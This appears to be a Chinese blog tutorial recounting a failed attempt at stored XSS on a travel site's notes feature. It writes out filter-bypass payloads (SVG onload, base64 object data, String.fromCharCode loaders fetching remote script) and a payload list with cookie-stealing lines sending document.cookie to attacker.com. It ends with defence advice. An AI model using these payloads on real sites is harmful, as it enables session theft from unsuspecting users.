记一次失败的xss利用
字数 1209 2025-08-27 12:33:49
XSS漏洞利用实战教学:从发现到绕过防护
一、XSS漏洞概述
跨站脚本攻击(XSS)是一种常见的Web安全漏洞,攻击者能够在受害者的浏览器中执行恶意脚本。本教学基于一次真实的XSS漏洞挖掘过程,详细讲解从发现到尝试绕过防护的全过程。
二、漏洞发现阶段
1. 目标选择
- 选择旅游网站社区功能作为目标,特别是游记发布功能
- 原因:游记功能包含大量用户输入输出点,XSS风险较高
- 历史经验:该网站之前存在过XSS漏洞,防护可能不完善
2. 初步测试
- 测试最简单的XSS payload:
<script>alert(1)</script>- 结果:被检测到脚本代码并被拦截
- 尝试SVG标签payload:
<svg/onload=alert(1)>- 结果:成功弹窗,确认存在存储型XSS漏洞
三、绕过防护尝试
1. 发现审核机制
- 游记提交后需要人工审核
- 直接弹窗payload会被审核人员发现并拒绝
- 需要更隐蔽的payload,如窃取cookie的代码
2. 黑名单绕过尝试
<script>标签被过滤- 尝试多种XSS payload:
- ``:
eval和script等关键词被拦截 <svg/onload="(new Image()).src='//xsspt.com/3hBMQd'">:只能记录referer/IP信息,无法执行脚本<embed src=//14.rs>:需要alwaysscript属性但被过滤
- ``:
3. 高级绕过技术尝试
3.1 Base64编码payload
尝试使用object标签加载base64编码的脚本:
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
优点:
- 不包含常见黑名单关键字
- 需要确保base64编码正确
结果:
- 网站篡改payload:
text/html中的斜杠被移除 - 空格被实体编码,导致payload失效
3.2 字符编码绕过
尝试使用String.fromCharCode动态生成script标签:
<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
问题:
- 空格被实体编码
- 改用反斜杠替代空格:
<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
结果:被检测为非法字符
四、经验总结与防护建议
1. 攻击者角度总结
- 黑名单防护可以被多种方式绕过
- 需要尝试多种payload和编码方式
- 实体编码和特定字符过滤是有效的防护手段
- 审核机制增加了利用难度
2. 防御建议
- 实施严格的输出编码
- 使用内容安全策略(CSP)
- 结合黑名单和白名单过滤
- 对用户输入进行规范化处理
- 关键操作添加CSRF防护
3. 可尝试的其他绕过方法
- 使用HTML5新标签和事件处理器
- 尝试JavaScript伪协议
- 利用DOM型XSS技术
- 结合其他漏洞如CSRF进行组合攻击
五、实用XSS Payload集合
1. 基本测试payload
<script>alert(1)</script>
<svg/onload=alert(1)>
2. 绕过过滤payload
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))>
3. 窃取cookie payload
<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>
<svg/onload="location.href='http://attacker.com/steal.php?cookie='+document.cookie">
通过本教学,您应该对XSS漏洞的发现和绕过技术有了更深入的理解。记住在实际测试中要遵守法律法规,仅在授权范围内进行安全测试。